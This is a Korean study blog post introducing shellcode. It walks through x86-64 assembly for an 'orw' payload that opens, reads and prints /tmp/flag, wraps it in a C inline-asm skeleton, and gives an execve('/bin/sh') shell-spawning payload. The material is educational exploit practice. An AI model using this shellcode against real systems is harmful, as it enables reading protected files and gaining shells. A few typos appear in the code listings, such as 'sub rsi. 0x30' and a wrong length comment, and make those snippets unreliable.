System Hacking <Shellcode>

don't panic·2023년 9월 19일
0

systemhacking study

목록 보기
1/4
  • 해킹 분야에서 상대 시스템을 공격하는 것을 exploit이라고 한다.
  • 이 중 셸코드로 시작해보자!

Shellcode

익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫는다.

  • 만약 해커가 rip를 자신이 작성한 셀코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있다.
  • 하지만 최적의 셸코드는 일반적으로 직접 작성해야 한다.

orw 셸코드

파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드.

/tmp/flag를 읽는 셸코드를 작성해보자.

char buf[0x30]

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
  • orw 셸코드를 작성하기 위해 알아야 하는 syscall
syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
read0x00unsigned int fdchar *bufsize_t count
write0x01unsigned int fdconst char *bufsize_t count
open0x02const char *filenameint flagsumode_t mode

1. int fd = open("/tmp/flag", O_RDONLY, NULL);

  1. /tmp/flag라는 문자열을 메모리에 push한다.
    스택에 0x616c662f706d742f67(/tmp/flag) push해야한다.
    하지만 스택에는 8바이트 단위로만 값을 push할 수 있으므로 0x67을 먼저 넣고 0x616c662f706d742f를 push한다.

  2. 그리고 rdi가 이를 가리키도록 rsp를 rdi로 옮긴다.

  3. rsi는 0

  4. rdx는 0

구현

push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp  | rdi = "/tmp/flag"
xor rsi, rsi  | rsi = 0; RD_ONLY
xor rdx, rdx  | rdx = 0
mov rax, 2    | rax = 2; syscall_open
syscall       | open("/tmp/flag", FD_ONLY, NULL)

2. read(fd, buf, 0x30)

  1. syscall의 반환값은 rax로 저장된다. 따라서 1번에서 open으로 획득한 /tmp/flag의 fd는 rax에 저장된다.
  2. read의 첫번째 인자는 rax이므로 rdirax를 대입한다.
  3. rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽기 때문에 rsi에 rsp-0x30을 대입한다.
  4. rdx는 읽을 데이터 길이이므로 0x30으로 설정한다.

구현

mov rdi, rax  | rdi = fd(rax)
mov rsi, rsp
sub rsi. 0x30 | rsi = rsp - 0x30
mov rdx, 0x30 | rdx = 0x40; len
mov rax, 0x00 | rax = 0; syscall_read
syscall

3. write(1, buf, 0x30)

  1. 출력은 stdout이므로 rdi를 1로 설정한다.
  2. rsirdx는 read에서 사용한 값을 그대로 사용한다.
  3. write 시스템콜로 rax를 1로 설정한다.
mov rdi, 1  	|rdi = 1; fd = stdout
mov rax, 0x1 	| rax = 1; syscall_write
syscall			| write(fd, buf, 0x30)

컴파일

스켈레톤 코드 예제

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }

orw.S


push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

orw.c

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
void run_sh();
int main() { run_sh(); }

결과

  • 플래그는 내가 직접 입력해놨음

execve 셸코드

셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성동으로 여긴다.

  • execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다.

execve("/bin/sh", null, null)

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
execve0x3bconst char *filenameconst char const argvconst_char const envp
  • argv는 실행 파일에 넘겨줄 인자, envp는 환경변수 이다.
  • 전부 NULL로 설정해주면 된다.
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  | rdi = "/bin/sh\x00"
xor rsi, rsi  | rsi = NULL
xor rdx, rdx  | rdx = NULL
mov rax, 0x3b | rax = sys_execve
syscall       | execve("/bin/sh", null, null)

결과

objdump를 이용한 shellcode 추출


0개의 댓글

관련 채용 정보